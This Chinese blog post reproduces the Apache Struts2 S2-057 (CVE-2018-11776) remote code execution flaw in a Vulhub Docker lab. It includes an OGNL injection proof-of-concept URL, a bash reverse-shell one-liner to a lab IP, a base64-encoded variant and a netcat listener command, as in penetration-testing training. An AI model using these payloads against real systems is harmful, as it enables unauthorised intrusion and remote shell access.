Struts2 S2-057(CVE-2018-11776)漏洞复现
本文最后更新于677 天前,其中的信息可能已经过时

1. Struts2简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

2. 漏洞概括

定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

3 .影响版本

  • Struts <=2.3.34
  • Struts 2.5.16

4. 环境搭建

Vulhub:https://vulhub.org/#/environments/struts2/s2-057/

cd struts2/s2-057  #切换目录
docker-compose up -d  #拉取环境

5. 漏洞复现

5.1 访问环境

访问靶机地址:http://192.168.153.129:8080/showcase/

5.2 漏洞验证

poc – 简单漏洞利用测试代码
http://192.168.153.129:8080/showcase/${(111+111)}/actionChain1.action

111+111=222 说明存在漏洞

5.3 漏洞利用

http://192.168.153.129:8080 + payload 执行效果

5.4 反弹shell

反弹 shell 命令

bash -i >& /dev/tcp/192.168.153.129/8866 0>&1

使用 bash -c 反弹 shell,并且把上面 bash -i 的命令 base64 加密

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMjkvODg2NiAwPiYx}|{base64,-d}|{bash,-i}

攻击机 nc 监听

nc -lvnp 8866

执行反弹 shell payload

kali成功获取shell

参考文章:

https://www.freebuf.com/articles/web/254543.html

如果觉得本文对您有所帮助,可以支持下博主,一分也是缘😊
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇